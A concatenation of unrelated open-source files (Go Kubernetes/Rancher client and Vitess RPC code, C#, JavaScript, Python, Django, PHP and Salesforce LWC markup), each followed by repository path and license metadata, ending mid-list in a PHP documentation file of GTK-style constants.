(n *projectRoleTemplateBindingClient2) Get(namespace, name string, opts metav1.GetOptions) (*ProjectRoleTemplateBinding, error) { return n.iface.GetNamespaced(namespace, name, opts) } func (n *projectRoleTemplateBindingClient2) Update(obj *ProjectRoleTemplateBinding) (*ProjectRoleTemplateBinding, error) { return n.iface.Update(obj) } func (n *projectRoleTemplateBindingClient2) Delete(namespace, name string, options *metav1.DeleteOptions) error { return n.iface.DeleteNamespaced(namespace, name, options) } func (n *projectRoleTemplateBindingClient2) List(namespace string, opts metav1.ListOptions) (*ProjectRoleTemplateBindingList, error) { return n.iface.List(opts) } func (n *projectRoleTemplateBindingClient2) Watch(opts metav1.ListOptions) (watch.Interface, error) { return n.iface.Watch(opts) } func (n *projectRoleTemplateBindingClientCache) Get(namespace, name string) (*ProjectRoleTemplateBinding, error) { return n.client.controller.Lister().Get(namespace, name) } func (n *projectRoleTemplateBindingClientCache) List(namespace string, selector labels.Selector) ([]*ProjectRoleTemplateBinding, error) { return n.client.controller.Lister().List(namespace, selector) } func (n *projectRoleTemplateBindingClient2) Cache() ProjectRoleTemplateBindingClientCache { n.loadController() return &projectRoleTemplateBindingClientCache{ client: n, } } func (n *projectRoleTemplateBindingClient2) OnCreate(ctx context.Context, name string, sync ProjectRoleTemplateBindingChangeHandlerFunc) { n.loadController() n.iface.AddLifecycle(ctx, name+"-create", &projectRoleTemplateBindingLifecycleDelegate{create: sync}) } func (n *projectRoleTemplateBindingClient2) OnChange(ctx context.Context, name string, sync ProjectRoleTemplateBindingChangeHandlerFunc) { n.loadController() n.iface.AddLifecycle(ctx, name+"-change", &projectRoleTemplateBindingLifecycleDelegate{update: sync}) } func (n *projectRoleTemplateBindingClient2) OnRemove(ctx context.Context, name string, sync ProjectRoleTemplateBindingChangeHandlerFunc) { n.loadController() n.iface.AddLifecycle(ctx, name, &projectRoleTemplateBindingLifecycleDelegate{remove: sync}) } func (n *projectRoleTemplateBindingClientCache) Index(name string, indexer ProjectRoleTemplateBindingIndexer) { err := n.client.controller.Informer().GetIndexer().AddIndexers(map[string]cache.IndexFunc{ name: func(obj interface{}) ([]string, error) { if v, ok := obj.(*ProjectRoleTemplateBinding); ok { return indexer(v) } return nil, nil }, }) if err != nil { panic(err) } } func (n *projectRoleTemplateBindingClientCache) GetIndexed(name, key string) ([]*ProjectRoleTemplateBinding, error) { var result []*ProjectRoleTemplateBinding objs, err := n.client.controller.Informer().GetIndexer().ByIndex(name, key) if err != nil { return nil, err } for _, obj := range objs { if v, ok := obj.(*ProjectRoleTemplateBinding); ok { result = append(result, v) } } return result, nil } func (n *projectRoleTemplateBindingClient2) loadController() { if n.controller == nil { n.controller = n.iface.Controller() } } type projectRoleTemplateBindingLifecycleDelegate struct { create ProjectRoleTemplateBindingChangeHandlerFunc update ProjectRoleTemplateBindingChangeHandlerFunc remove ProjectRoleTemplateBindingChangeHandlerFunc } func (n *projectRoleTemplateBindingLifecycleDelegate) HasCreate() bool { return n.create != nil } func (n *projectRoleTemplateBindingLifecycleDelegate) Create(obj *ProjectRoleTemplateBinding) (runtime.Object, error) { if n.create == nil { return obj, nil } return n.create(obj) } func (n *projectRoleTemplateBindingLifecycleDelegate) HasFinalize() bool { return n.remove != nil } func (n *projectRoleTemplateBindingLifecycleDelegate) Remove(obj *ProjectRoleTemplateBinding) (runtime.Object, error) { if n.remove == nil { return obj, nil } return n.remove(obj) } func (n *projectRoleTemplateBindingLifecycleDelegate) Updated(obj *ProjectRoleTemplateBinding) (runtime.Object, error) { if n.update == nil { return obj, nil } return n.update(obj) }
guilhermebr/tsuru
vendor/github.com/rancher/types/apis/management.cattle.io/v3/zz_generated_project_role_template_binding_controller.go
GO
bsd-3-clause
19,792
using Microsoft.VisualBasic; using System; using System.Collections; using System.Collections.Generic; using System.Data; using System.Diagnostics; namespace nzy3D.Maths { /// <summary> /// A simple utility class for storing a list of x, y, and z coordinates as /// arrays of float values. /// </summary> /// <remarks></remarks> public class Coordinates { private float[] m_x; private float[] m_y; private float[] m_z; public Coordinates(float[] xi, float[] yi, float[] zi) { this.m_x = xi; this.m_y = yi; this.m_z = zi; } public Coordinates(Coord3d[] coords) { int nbCoords = coords.Length; m_x = new float[nbCoords]; m_y = new float[nbCoords]; m_z = new float[nbCoords]; for (int iCoord = 0; iCoord <= nbCoords - 1; iCoord++) { m_x[iCoord] = (float)coords[iCoord].x; m_y[iCoord] = (float)coords[iCoord].y; m_z[iCoord] = (float)coords[iCoord].z; } } public Coordinates(List<Coord3d> coords) { int nbCoords = coords.Count; m_x = new float[nbCoords]; m_y = new float[nbCoords]; m_z = new float[nbCoords]; for (int iCoord = 0; iCoord <= nbCoords - 1; iCoord++) { m_x[iCoord] = (float)coords[iCoord].x; m_y[iCoord] = (float)coords[iCoord].y; m_z[iCoord] = (float)coords[iCoord].z; } } public float[] x { get { return this.m_x; } } public float[] y { get { return this.m_y; } } public float[] z { get { return this.m_z; } } public Coord3d[] toArray() { Coord3d[] array = new Coord3d[m_x.Length]; for (int iCoord = 0; iCoord <= m_x.Length - 1; iCoord++) { array[iCoord] = new Coord3d(m_x[iCoord], m_y[iCoord], m_z[iCoord]); } return array; } public override string ToString() { string txt = ""; for (int iCoord = 0; iCoord <= m_x.Length - 1; iCoord++) { if (iCoord > 0) { txt += "\r\n"; } txt += "[" + iCoord + "]" + m_x[iCoord] + "|" + m_y[iCoord] + "|" + m_z[iCoord]; } return txt; } } } //======================================================= //Service provided by Telerik (www.telerik.com) //Conversion powered by NRefactory. //Twitter: @telerik //Facebook: facebook.com/telerik //=======================================================
benoit74/nzy3d-api
nzy3d-api/Maths/Coordinates.cs
C#
bsd-3-clause
2,312
// This script is to be loaded at the end of the <body> // inside the outer page, which embeds // another page using an iframe. // // This script will receive the communicated height from the embedded page, // and set the height of the iframe accordingly, // such that all the content in the embedded page is visible. (function (){ // Get a reference to the iframe. // This code assumes there is only a single iframe on the page. var iframe = document.querySelector("iframe"); // Sets the corrected height of the iframe. function resizeIframe (height){ // Compute the correction for the iframe border. var border = parseFloat(getComputedStyle(iframe).borderWidth); var borderCorrection = isNaN(border) ? 0 : border * 2; height = height + borderCorrection; // Set the iframe height to the height from the message. iframe.setAttribute("height", height); } // If an iframe is there... if (iframe) { // Listen for messages from the inner iframe. // See https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage window.addEventListener("message", function (event) { if (event.data.type === 'iFrameResizeHeight') { resizeIframe(event.data.height); } }, false); } }());
unhcr/dataviz-styleguide
js/iframeResizeOuter.js
JavaScript
bsd-3-clause
1,257
import requests import igraph as ig OMNIPATH_ROOT='http://omnipathdb.org' def get_omnipath_ptm_graph(): query = OMNIPATH_ROOT+'/ptms' response = requests.get(query) if response.status_code != 200: print('Error requesting %s ...' % query) return None data = response.content.decode('utf-8') data = [line.strip() for line in data.split('\n') if line] nodes = set() edges = list() residue_type = list() residue_offset = list() modification = list() for line in data[1:]: source, target, _residue_type, _residue_offset, _modification = line.split('\t')[:5] print('%s --> %s, %s' % (source, target, _modification)) nodes.add(source) nodes.add(target) edges.append((source, target)) residue_type.append(_residue_type) residue_offset.append(_residue_offset) modification.append(_modification) nodes = list(nodes) nodes2index = { node : nodes.index(node) for node in nodes } edges = [(nodes2index[edge[0]], nodes2index[edge[1]]) for edge in edges] graph = ig.Graph(directed=True) graph.add_vertices(len(nodes)) graph.vs['name'] = nodes graph.add_edges(edges) graph.es['residue_type'] = residue_type graph.es['residue_offset'] = residue_offset graph.es['modification'] = modification return graph if __name__ == '__main__': graph = get_omnipath_ptm_graph() graph.write_graphml('../omnipath_ptm_graph.graphml')
sebwink/deregnet
graphs/omnipath/bin/get_omnipath_ptm_graph.py
Python
bsd-3-clause
1,480
// Copyright 2012, Google Inc. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package rpcwrap import ( "bufio" "crypto/tls" "errors" "io" "net" "net/http" "time" log "github.com/golang/glog" rpc "github.com/youtube/vitess/go/rpcplus" "github.com/youtube/vitess/go/rpcwrap/auth" "github.com/youtube/vitess/go/rpcwrap/proto" "github.com/youtube/vitess/go/stats" ) const ( connected = "200 Connected to Go RPC" ) var ( connCount = stats.NewInt("connection-count") connAccepted = stats.NewInt("connection-accepted") ) type ClientCodecFactory func(conn io.ReadWriteCloser) rpc.ClientCodec type BufferedConnection struct { isClosed bool *bufio.Reader io.WriteCloser } func NewBufferedConnection(conn io.ReadWriteCloser) *BufferedConnection { connCount.Add(1) connAccepted.Add(1) return &BufferedConnection{false, bufio.NewReader(conn), conn} } // FIXME(sougou/szopa): Find a better way to track connection count. func (bc *BufferedConnection) Close() error { if !bc.isClosed { bc.isClosed = true connCount.Add(-1) } return bc.WriteCloser.Close() } // DialHTTP connects to a go HTTP RPC server using the specified codec. // use 0 as connectTimeout for no timeout // use nil as config to not use TLS func DialHTTP(network, address, codecName string, cFactory ClientCodecFactory, connectTimeout time.Duration, config *tls.Config) (*rpc.Client, error) { return dialHTTP(network, address, codecName, cFactory, false, connectTimeout, config) } // DialAuthHTTP connects to an authenticated go HTTP RPC server using // the specified codec and credentials. // use 0 as connectTimeout for no timeout // use nil as config to not use TLS func DialAuthHTTP(network, address, user, password, codecName string, cFactory ClientCodecFactory, connectTimeout time.Duration, config *tls.Config) (conn *rpc.Client, err error) { if conn, err = dialHTTP(network, address, codecName, cFactory, true, connectTimeout, config); err != nil { return } reply := new(auth.GetNewChallengeReply) if err = conn.Call("AuthenticatorCRAMMD5.GetNewChallenge", "", reply); err != nil { return } proof := auth.CRAMMD5GetExpected(user, password, reply.Challenge) if err = conn.Call( "AuthenticatorCRAMMD5.Authenticate", auth.AuthenticateRequest{Proof: proof}, new(auth.AuthenticateReply)); err != nil { return } return } func dialHTTP(network, address, codecName string, cFactory ClientCodecFactory, auth bool, connectTimeout time.Duration, config *tls.Config) (*rpc.Client, error) { var err error var conn net.Conn if connectTimeout != 0 { conn, err = net.DialTimeout(network, address, connectTimeout) } else { conn, err = net.Dial(network, address) } if err != nil { return nil, err } if config != nil { conn = tls.Client(conn, config) } _, err = io.WriteString(conn, "CONNECT "+GetRpcPath(codecName, auth)+" HTTP/1.0\n\n") if err != nil { return nil, err } // Require successful HTTP response // before switching to RPC protocol. buffered := NewBufferedConnection(conn) resp, err := http.ReadResponse(buffered.Reader, &http.Request{Method: "CONNECT"}) if err == nil && resp.Status == connected { return rpc.NewClientWithCodec(cFactory(buffered)), nil } if err == nil { err = errors.New("unexpected HTTP response: " + resp.Status) } conn.Close() return nil, &net.OpError{Op: "dial-http", Net: network + " " + address, Addr: nil, Err: err} } type ServerCodecFactory func(conn io.ReadWriteCloser) rpc.ServerCodec // ServeRPC handles rpc requests using the hijack scheme of rpc func ServeRPC(codecName string, cFactory ServerCodecFactory) { http.Handle(GetRpcPath(codecName, false), &rpcHandler{cFactory, false}) } // ServeAuthRPC handles authenticated rpc requests using the hijack // scheme of rpc func ServeAuthRPC(codecName string, cFactory ServerCodecFactory) { http.Handle(GetRpcPath(codecName, true), &rpcHandler{cFactory, true}) } // AuthenticatedServer is an rpc.Server instance that serves // authenticated calls. var AuthenticatedServer = rpc.NewServer() // RegisterAuthenticated registers a receiver with the authenticated // rpc server. func RegisterAuthenticated(rcvr interface{}) error { // TODO(szopa): This should be removed after the transition // period, when all the clients know about authentication. if err := rpc.Register(rcvr); err != nil { return err } return AuthenticatedServer.Register(rcvr) } // rpcHandler handles rpc queries for a 'CONNECT' method. type rpcHandler struct { cFactory ServerCodecFactory useAuth bool } // ServeCodec calls ServeCodec for the appropriate server // (authenticated or default). func (h *rpcHandler) ServeCodecWithContext(c rpc.ServerCodec, context *proto.Context) { if h.useAuth { AuthenticatedServer.ServeCodecWithContext(c, context) } else { rpc.ServeCodecWithContext(c, context) } } func (h *rpcHandler) ServeHTTP(c http.ResponseWriter, req *http.Request) { if req.Method != "CONNECT" { c.Header().Set("Content-Type", "text/plain; charset=utf-8") c.WriteHeader(http.StatusMethodNotAllowed) io.WriteString(c, "405 must CONNECT\n") return } conn, _, err := c.(http.Hijacker).Hijack() if err != nil { log.Errorf("rpc hijacking %s: %v", req.RemoteAddr, err) return } io.WriteString(conn, "HTTP/1.0 "+connected+"\n\n") codec := h.cFactory(NewBufferedConnection(conn)) context := &proto.Context{RemoteAddr: req.RemoteAddr} if h.useAuth { if authenticated, err := auth.Authenticate(codec, context); !authenticated { if err != nil { log.Errorf("authentication erred at %s: %v", req.RemoteAddr, err) } codec.Close() return } } h.ServeCodecWithContext(codec, context) } func GetRpcPath(codecName string, auth bool) string { path := "/_" + codecName + "_rpc_" if auth { path += "/auth" } return path }
apmichaud/vitess-apm
go/rpcwrap/rpcwrap.go
GO
bsd-3-clause
5,863
<!-- ~ Copyright (c) 2020 Salesforce.org ~ All rights reserved. ~ ~ Redistribution and use in source and binary forms, with or without ~ modification, are permitted provided that the following conditions are met: ~ ~ * Redistributions of source code must retain the above copyright ~ notice, this list of conditions and the following disclaimer. ~ * Redistributions in binary form must reproduce the above copyright ~ notice, this list of conditions and the following disclaimer in the ~ documentation and/or other materials provided with the distribution. ~ * Neither the name of Salesforce.org nor the names of ~ its contributors may be used to endorse or promote products derived ~ from this software without specific prior written permission. ~ ~ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ~ "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT ~ LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS ~ FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE ~ COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, ~ INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, ~ BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; ~ LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER ~ CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT ~ LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ~ ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE ~ POSSIBILITY OF SUCH DAMAGE. --> <template> <template if:false={hasAccess}> <c-util-illustration title={CUSTOM_LABELS.insufficientPermissions} message={noAccessErrorMessage} size="small" variant="no-access"> </c-util-illustration> </template> <template if:true={hasAccess}> <template if:true={isSuccess}> <div class="slds-m-bottom_medium"> <c-util-alert-banner theme="success" icon="utility:success" size="small" message="Gateway updated." is-dismissable="true"> </c-util-alert-banner> </div> </template> <template if:true={isError}> <div class="slds-m-bottom_medium"> <c-util-alert-banner theme="error" icon="utility:error" size="small" message={errorMessage} is-dismissable="true"> </c-util-alert-banner> </div> </template> <lightning-layout multiple-rows="true"> <div if:true={showSpinner} class='spinner-container'> <lightning-spinner alternative-text={CUSTOM_LABELS.messageLoading} size='large'> </lightning-spinner> <p class='loading-text slds-text-heading_medium'>{loadingText}</p> </div> <lightning-layout-item size="12"> <h1 class="slds-text-heading_medium slds-p-top-medium">Elevate Gateway Management</h1> </lightning-layout-item> <lightning-layout-item size="12"> <!-- Temporary Hardcoded Text until this functionality is moved out of NPSP entirely --> <p class="slds-text-body_regular slds-p-vertical_medium"> NPSP uses the gateway that was added to Elevate most recently unless you override it. To change the gateway NPSP uses, click Edit, enter the gateway ID, and save your work. Find the gateway ID in the Elevate Admin Console | Gateway Management. </p> </lightning-layout-item> <template if:true={isReadOnly}> <lightning-layout-item size="12" class="slds-text-align_center"> <lightning-button label="Edit" data-id="editGatewayButton" onclick={handleEdit} data-qa-locator="button edit gateway id"> </lightning-button> </lightning-layout-item> </template> <lightning-layout-item size="4"> <!-- Temporary Hardcoded Text until this functionality is moved out of NPSP entirely --> <lightning-input variant="label-inline" read-only={isReadOnly} label="Gateway ID" value={gatewayId} type="text" data-id="gatewayIdField" data-qa-locator="input gateway id field"> </lightning-input> <template if:false={isReadOnly}> <lightning-button-group> <!-- Temporary Hardcoded Text until this functionality is moved out of NPSP entirely --> <lightning-button label="Save" variant="brand" onclick={handleSave} data-qa-locator="button gateway management save"> </lightning-button> <!-- Temporary Hardcoded Text until this functionality is moved out of NPSP entirely --> <lightning-button label="Cancel" onclick={handleCancel} data-qa-locator="button gateway management cancel"> </lightning-button> </lightning-button-group> </template> </lightning-layout-item> </lightning-layout> </template> </template>
SalesforceFoundation/Cumulus
force-app/main/default/lwc/gePaymentGatewayManagement/gePaymentGatewayManagement.html
HTML
bsd-3-clause
6,257
from deloslib.users.models import DelosApplication, DelosSite from django.contrib.sites.models import get_current_site from django.conf import settings from django.utils.cache import patch_vary_headers from django.utils import translation class UserMiddleware(object): def process_request(self, request): if request.user.is_authenticated(): try: request.unidade = request.user.unidade except: request.unidade = None request.apps = request.user.get_possible_apps() else: request.apps = DelosApplication.objects.filter(is_public=True).values() request.app = None for app in request.apps: if app['url'] in request.path: request.app = app def user_context(request): try: unidade = request.unidade user = request.user except: user = unidade = None app = request.app apps = request.apps time = getattr(settings, 'EXPIRY_SESSION_TIME', 12*60*60) current_site = get_current_site(get_current_site) delossites = current_site.delossite_set.all() # import pdb; pdb.set_trace() if delossites: delossite = delossites[0] else: delossite = None return { 'user': user, 'unidade': unidade, 'person': user, 'app': app, 'apps': apps, 'delossite': delossite, } class SessionBasedLocaleMiddleware(object): """ This Middleware saves the desired content language in the user session. The SessionMiddleware has to be activated. """ def process_request(self, request): if request.method == 'GET' and 'lang' in request.GET: language = request.GET['lang'] request.session['language'] = language elif 'language' in request.session: language = request.session['language'] else: language = translation.get_language_from_request(request) for lang in settings.LANGUAGES: if lang[0] == language: translation.activate(language) request.LANGUAGE_CODE = translation.get_language() def process_response(self, request, response): patch_vary_headers(response, ('Accept-Language',)) if 'Content-Language' not in response: response['Content-Language'] = translation.get_language() translation.deactivate() return response
rfaga/deloslib
deloslib/middleware.py
Python
bsd-3-clause
2,556
<?php /* * Copyright (c) 2014, Philip Graham * All rights reserved. * * This file is part of php-rest-server. For the full copyright and license * information please view the LICENSE file that was distributed with this * source code. */ namespace zpt\rest\message; use Psr\HttpMessage\RequestInterface; use InvalidArgumentException; use StdClass; /** * This class encapsulates data about a resource request. * * @author Philip Graham <philip@zeptech.ca> */ class Request extends HttpMessage implements RequestInterface { /* The HTTP method of the request. */ private $method; /* Data sent with the request. */ private $data; /* Values for any parameters specified in the mapping's URI template */ private $parameters; /* Query parameters sent with the request. */ private $query; /* The requested URI */ private $url; /** * Getter for the request's HTTP method. * * @return string */ public function getMethod() { return $this->method; } /** * Setter for the request's HTTP method. * * @param string $method */ public function setMethod($method) { $this->method = $method; } /** * Getter for the request's URL. * * @return string */ public function getUrl() { return $this->url; } /** * Setter for the request's URL. * * @param string $url */ public function setUrl($url) { $urlInfo = parse_url($url, PHP_URL_SCHEME); if (!in_array($urlInfo, [ 'http', 'https' ])) { throw new InvalidArgumentException("URL is not HTTP: $url"); } if (!filter_var($url, FILTER_VALIDATE_URL)) { throw new InvalidArgumentException("Not a valid URL: $url"); } $this->url = $url; } /** * Getter for the request data. * * @return array */ public function getData($key = null) { if ($key !== null) { if ($this->data instanceof StdClass) { return $this->data->$key; } else if (is_array($this->data)) { return $this->data[$key]; } else { return null; } } return $this->data; } /** * Getter for the parameter with the given name. * * @return mixed */ public function getParameter($parameter) { if (isset($this->parameters[$parameter])) { return $this->parameters[$parameter]; } return null; } /** * Getter for the expanded values of the request's matching URI template. * * @return array */ public function getParameters() { return $this->parameters; } /** * Getter for the request's query parameters. * * @return array */ public function getQuery() { return $this->query; } /** * Getter for the request's query parameter with the given name. * * @param string $name The name of the query parameter to fetch. * @return string */ public function getQueryParameter($key) { if (isset($this->query[$key])) { return $this->query[$key]; } return null; } /** * Indicate whether or not the specified data value is present in the * request. * * @param string $key * @return boolean */ public function hasData($key) { if ($this->data instanceof StdClass) { return isset($this->data->$key); } else if (is_array($this->data)) { return isset($this->data[$key]); } else { return false; } } /** * Setter for any raw data sent with the request. This is typically the * request body, preprocessed by PHP. * * @param array $data */ public function setData($data) { $this->data = $data; } /** * Setter for any expanded values for the URI template that matches this * request. * * @param array $parameters */ public function setParameters(array $parameters = null) { $this->parameters = $parameters; } /** * Setter for any query parameters sent with the request. * * @param array $query */ public function setQuery(array $query = null) { $this->query = $query; } }
pgraham/php-rest-server
src/message/Request.php
PHP
bsd-3-clause
3,814
<?php chdir(__DIR__); include_once("../Gasped/DocArray.class.php" ); include_once("GAboutDialog.doc.php" ); include_once("GApplication.doc.php" ); include_once("GBox.doc.php" ); include_once("GButton.doc.php" ); include_once("GComboBox.doc.php" ); include_once("GComboBoxText.doc.php" ); include_once("GContainer.doc.php" ); include_once("GDialog.doc.php" ); include_once("GImage.doc.php" ); include_once("GLabel.doc.php" ); include_once("GMenu.doc.php" ); include_once("GMenubar.doc.php" ); include_once("GMenuItem.doc.php" ); include_once("GMenuShell.doc.php" ); include_once("GScrollWindow.doc.php" ); include_once("GTextBuffer.doc.php" ); include_once("GTextView.doc.php" ); include_once("GWidget.doc.php" ); include_once("GWindow.doc.php" ); include_once("PGGIException.doc.php" ); $PGGIDoc = new ExtensionDocArray(); $PGGIDoc->addConstant("PGGI_BASELINE_POSITION_TOP" , array("@var align the baseline at the top")) ->addConstant("PGGI_BASELINE_POSITION_CENTER" , array("@var center the baseline")) ->addConstant("PGGI_BASELINE_POSITION_BOTTOM" , array("@var align the baseline at the bottom")) ->addConstant("PGGI_DELETE_CHARS" , array("@var Delete characters.")) ->addConstant("PGGI_DELETE_WORD_ENDS" , array("@var Delete only the portion of the word to the left/right of cursor if we’re in the middle of a word.")) ->addConstant("PGGI_DELETE_WORDS" , array("@var Delete words.")) ->addConstant("PGGI_DELETE_DISPLAY_LINES" , array("@var Delete display-lines.Display-lines refers to the visible lines, with respect to to the current line breaks. As opposed to paragraphs, which are defined by line breaks in the input.")) ->addConstant("PGGI_DELETE_DISPLAY_LINE_ENDS" , array("@var Delete only the portion of the display-line to the left/right of cursor.")) ->addConstant("PGGI_DELETE_PARAGRAPH_ENDS" , array("@var Delete to the end of the paragraph.")) ->addConstant("PGGI_DELETE_PARAGRAPHS" , array("@var Delete entire line.")) ->addConstant("PGGI_DELETE_WHITESPACE" , array("@var Delete only whitespace.")) ->addConstant("PGGI_DIR_TAB_FORWARD" , array("@var Move forward.")) ->addConstant("PGGI_DIR_TAB_BACKWARD" , array("@var Move backward.")) ->addConstant("PGGI_DIR_UP" , array("@var Move up.")) ->addConstant("PGGI_DIR_DOWN" , array("@var Move down.")) ->addConstant("PGGI_DIR_LEFT" , array("@var Move left.")) ->addConstant("PGGI_DIR_RIGHT" , array("@var Move right.")) ->addConstant("PGGI_JUSTIFY_LEFT" , array("@var The text is placed at the left edge of the label.")) ->addConstant("PGGI_JUSTIFY_RIGHT" , array("@var The text is placed at the right edge of the label.")) ->addConstant("PGGI_JUSTIFY_CENTER" , array("@var The text is placed in the center of the label.")) ->addConstant("PGGI_JUSTIFY_FILL" , array("@var The text is placed is distributed across the label.")) ->addConstant("PGGI_MOVEMENT_LOGICAL_POSITIONS" , array("@var Move forward or back by graphemes")) ->addConstant("PGGI_MOVEMENT_VISUAL_POSITIONS" , array("@var Move left or right by graphemes")) ->addConstant("PGGI_MOVEMENT_WORDS" , array("@var Move forward or back by words")) ->addConstant("PGGI_MOVEMENT_DISPLAY_LINES" , array("@var Move up or down lines (wrapped lines)")) ->addConstant("PGGI_MOVEMENT_DISPLAY_LINE_ENDS" , array("@var Move to either end of a line")) ->addConstant("PGGI_MOVEMENT_PARAGRAPHS" , array("@var Move up or down paragraphs (newline-ended lines)")) ->addConstant("PGGI_MOVEMENT_PARAGRAPH_ENDS" , array("@var Move to either end of a paragraph")) ->addConstant("PGGI_MOVEMENT_BUFFER_ENDS" , array("@var Move by pages")) ->addConstant("PGGI_MOVEMENT_BUFFER_ENDS" , array("@var Move to ends of the buffer")) ->addConstant("PGGI_MOVEMENT_HORIZONTAL_PAGES" , array("@var Move horizontally by pages")) ->addConstant("PGGI_ORIENTATION_HORIZONTAL" , array("@var The element is in horizontal orientation.")) ->addConstant("PGGI_ORIENTATION_VERTICAL" , array("@var The element is in vertical orientation.")) ->addConstant("PGGI_PACK_START" , array("@var The child is packed into the start of the box")) ->addConstant("PGGI_PACK_END" , array("@var The child is packed into the end of the box")) ->addConstant("PGGI_POS_LEFT" , array("@var The feature is at the left edge.")) ->addConstant("PGGI_POS_RIGHT" , array("@var The feature is at the right edge.")) ->addConstant("PGGI_POS_TOP" , array("@var The feature is at the top edge.")) ->addConstant("PGGI_POS_BOTTOM" , array("@var The feature is at the bottom edge.")) ->addConstant("PGGI_RELIEF_NORMAL" , array("@var Draw a normal relief.")) ->addConstant("PGGI_RELIEF_NONE" , array("@var No relief")) ->addConstant("PGGI_SCROLL_STEPS" , array("@var Scroll in steps.")) ->addConstant("PGGI_SCROLL_PAGES" , array("@var Scroll by pages.")) ->addConstant("PGGI_SCROLL_ENDS" , array("@var Scroll to ends.")) ->addConstant("PGGI_SCROLL_HORIZONTAL_STEPS" , array("@var Scroll in horizontal steps.")) ->addConstant("PGGI_SCROLL_HORIZONTAL_PAGES" , array("@var Scroll by horizontal pages.")) ->addConstant("PGGI_SCROLL_HORIZONTAL_ENDS" , array("@var Scroll to the horizontal ends.")) ->addConstant("PGGI_SCROLL_NONE" , array("@var No scrolling.")) ->addConstant("PGGI_SCROLL_JUMP" , array("@var Jump to new location.")) ->addConstant("PGGI_SCROLL_STEP_BACKWARD" , array("@var Step backward.")) ->addConstant("PGGI_SCROLL_STEP_FORWARD" , array("@var Step forward.")) ->addConstant("PGGI_SCROLL_PAGE_BACKWARD" , array("@var Page backward.")) ->addConstant("PGGI_SCROLL_PAGE_FORWARD" , array("@var Page forward.")) ->addConstant("PGGI_SCROLL_STEP_UP" , array("@var Step up.")) ->addConstant("PGGI_SCROLL_STEP_DOWN" , array("@var Step down.")) ->addConstant("PGGI_SCROLL_PAGE_UP" , array("@var Page up.")) ->addConstant("PGGI_SCROLL_PAGE_DOWN" , array("@var Page down.")) ->addConstant("PGGI_SCROLL_STEP_LEFT" , array("@var Step to the left.")) ->addConstant("PGGI_SCROLL_STEP_RIGHT" , array("@var Step to the right.")) ->addConstant("PGGI_SCROLL_PAGE_LEFT" , array("@var Page to the left.")) ->addConstant("PGGI_SCROLL_PAGE_RIGHT" , array("@var Page to the right.")) ->addConstant("PGGI_SCROLL_START" , array("@var Scroll to start.")) ->addConstant("PGGI_SCROLL_END" , array("@var Scroll to end.")) ->addConstant("PGGI_SELECTION_NONE" , array("@var No selection is possible.")) ->addConstant("PGGI_SELECTION_SINGLE" , array("@var Zero or one element may be selected.")) ->addConstant("PGGI_SELECTION_BROWSE" , array("@var Exactly one element is selected. In some circumstances, such as initially or during a search operation, it’s possible for no element to be selected with PGGI_SELECTION_BROWSE. What is really enforced is that the user can’t deselect a currently selected element except by selecting another element.")) ->addConstant("PGGI_SELECTION_MULTIPLE" , array("@var Any number of elements may be selected. The Ctrl key may be used to enlarge the selection, and Shift key to select between the focus and the child pointed to. Some widgets may also allow Click-drag to select a range of elements. ")) ->addConstant("PGGI_SHADOW_NONE" , array("@var No outline.")) ->addConstant("PGGI_SHADOW_IN" , array("@var The outline is bevelled inwards.")) ->addConstant("PGGI_SHADOW_OUT" , array("@var The outline is bevelled outwards like a button.")) ->addConstant("PGGI_SHADOW_ETCHED_IN" , array("@var The outline has a sunken 3d appearance.")) ->addConstant("PGGI_SHADOW_ETCHED_OUT" , array("@var The outline has a raised 3d appearance.")) ->addConstant("PGGI_STATE_FLAG_NORMAL" , array("@var State during normal operation.")) ->addConstant("PGGI_STATE_FLAG_ACTIVE" , array("@var Widget is active.")) ->addConstant("PGGI_STATE_FLAG_PRELIGHT" , array("@var Widget has a mouse pointer over it.")) ->addConstant("PGGI_STATE_FLAG_SELECTED" , array("@var Widget is selected.")) ->addConstant("PGGI_STATE_FLAG_INSENSITIVE" , array("@var Widget is insensitive.")) ->addConstant("PGGI_STATE_FLAG_INCONSISTENT" , array("@var Widget is inconsistent.")) ->addConstant("PGGI_STATE_FLAG_FOCUSED" , array("@var Widget has the keyboard focus.")) ->addConstant("PGGI_STATE_FLAG_BACKDROP" , array("@var Widget is in a background toplevel window.")) ->addConstant("PGGI_STATE_FLAG_DIR_LTR" , array("@var Widget is in left-to-right text direction. Since 3.8")) ->addConstant("PGGI_STATE_FLAG_DIR_RTL" , array("@var Widget is in right-to-left text direction. Since 3.8")) ->addConstant("PGGI_STATE_FLAG_LINK" , array("@var Widget is a link. Since 3.12")) ->addConstant("PGGI_STATE_FLAG_VISITED" , array("@var The location the widget points to has already been visited. Since 3.12")) ->addConstant("PGGI_STATE_FLAG_CHECKED" , array("@var Widget is checked. Since 3.14")) ->addConstant("PGGI_TOOLBAR_ICONS" , array("@var Buttons display only icons in the toolbar.")) ->addConstant("PGGI_TOOLBAR_TEXT" , array("@var Buttons display only text labels in the toolbar.")) ->addConstant("PGGI_TOOLBAR_BOTH" , array("@var Buttons display text and icons in the toolbar.")) ->addConstant("PGGI_TOOLBAR_BOTH_HORIZ" , array("@var Buttons display icons and text alongside each other, rather than vertically stacked")) ->addConstant("PGGI_SORT_ASCENDING" , array("@var Sorting is in ascending order.")) ->addConstant("PGGI_SORT_DESCENDING" , array("@var Sorting is in descending order.")) ->addConstant("PGGI_SIGNAL_GAPPLICATION_WINDOW_ADDED" , array("@var ")) ->addConstant("PGGI_SIGNAL_GAPPLICATION_WINDOW_REMOVED" , array("@var ")) ->addConstant("PGGI_SIGNAL_GAPPLICATION_STARTUP" , array("@var ")) 